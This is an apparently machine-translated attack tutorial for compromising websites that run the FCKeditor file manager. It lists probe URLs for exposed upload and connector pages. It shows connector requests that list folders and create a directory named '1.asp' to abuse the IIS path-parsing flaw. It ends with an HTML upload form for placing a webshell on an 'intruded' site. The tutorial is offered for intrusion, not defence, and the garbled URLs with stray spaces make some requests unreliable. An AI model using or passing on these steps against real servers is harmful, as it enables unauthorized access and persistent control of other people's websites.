First, you must determine the Fckeditor version.
/FCKeditor/editor/dialog/fck_about.html
Secondly, are you sure you have deleted the following upload pages?
/FCKeditor/editor/filemanager/browser/default/browser.html
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
Well, all of them have been deleted. It's so unfortunate. What should I do? Are you sure you have any of these files?
/Fckeditor/editor/filemanager/connectors/aspx/connector. aspx
/Fckeditor/editor/filemanager/connectors/asp/connector. asp
/Fckeditor/editor/filemanager/connectors/php/connector. php
If it exists, that's great. You can continue reading it. Here we take aspx as an example.
1. view the files in the Media directory:
/Fckeditor/editor/filemanager/connectors/aspx/connector. aspx? Command = GetFoldersAndFiles & Type = Media & CurrentFolder = % 2F
Red Media can be changed to File or image, and the corresponding File or image directory is entered.
2. Use the iis resolution vulnerability to create a special asp Directory
Fckeditor/editor/filemanager/connectors/aspx/connector. aspx? Command = CreateFolder & Type = Media & CurrentFolder = % 2F & NewFolderName = 1.asp
The corresponding Media directory is red, and the special directory name is blue.
3. Create a form and upload webshell to a special directory.
<Form id = "frmUpload" enctype = "multipart/form-data" action = "http://www.itatpro.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx? Command = FileUpload & Type = Media & CurrentFolder = % 2Fasp. asp "method =" post ">
Upload a new file: <br>
<Input type = "file" name = "NewFile" size = "50"> <br>
<Input id = "btnUpload" type = "submit" value = "Upload">
</Form>
Save the above representation as HTML format, the http://www.xxx.com is modified to your intruded website address, Type = Media is the corresponding Media Directory, 1. asp is a special directory name.
Last tips
You need to find the uploaded path in the code in the upload form. Of course, its rendering method is an uploaded file name, and the full path must be combined by yourself, I believe you will. If the access fails, upload a correct image and try again. If the access succeeds, the Administrator has already completed the IIS path parsing vulnerability, and you have to find another way out.
